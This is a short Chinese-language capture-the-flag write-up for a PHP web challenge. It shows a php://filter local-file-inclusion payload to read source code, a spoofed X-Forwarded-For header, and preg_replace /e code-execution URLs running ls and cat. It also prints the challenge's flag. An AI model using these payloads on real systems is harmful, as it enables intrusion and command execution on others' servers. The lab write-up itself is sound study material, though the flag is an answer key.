根据题目提示直接进入设备维护中心
点击云平台设备维护中心发现page=index
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞
利用LFI来查看源码
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
解码base64得到源码
使用burp出现中文乱码,找到一个在线解密网站
审计代码得出关键部分
利用preg_replace /e代码执行漏洞
具体参考https://www.jb51.net/article/145649.htm
preg_replace( pattern , replacement , subject ) : 当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)。
函数作用:搜索subject中匹配pattern的部分,以replacement进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
也就是说,pat和sub有相同部分,rep的代码就会执行。
根据源码分析X-Forwarded-For改成127.0.0.1之后,GET进三个参数。然后调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入"/e"触发漏洞
ls查看文件目录
index.php?pat=/test/e&rep=system("ls")&sub=test
使用cd进入目标文件,并查看该文件夹下文件
system("cd%20s3chahahaDir%26%26+ls")
此处不能使用空格隔开,可用%20或者+代替,%26%26为&&,&&意思是当前面命令执行成功时,继续执行后面的命令
看到flag.php,使用cat命令查看flag.php中的内容
/index.php?pat=/test/e&rep=system("cat%20s3chahahaDir/flag/flag.php
cyberpeace{4e74a628dc0472e23b457a8c735edfbd}
参考链接:https://www.jianshucom/p/5a502873635b
菜鸟上路,多多指教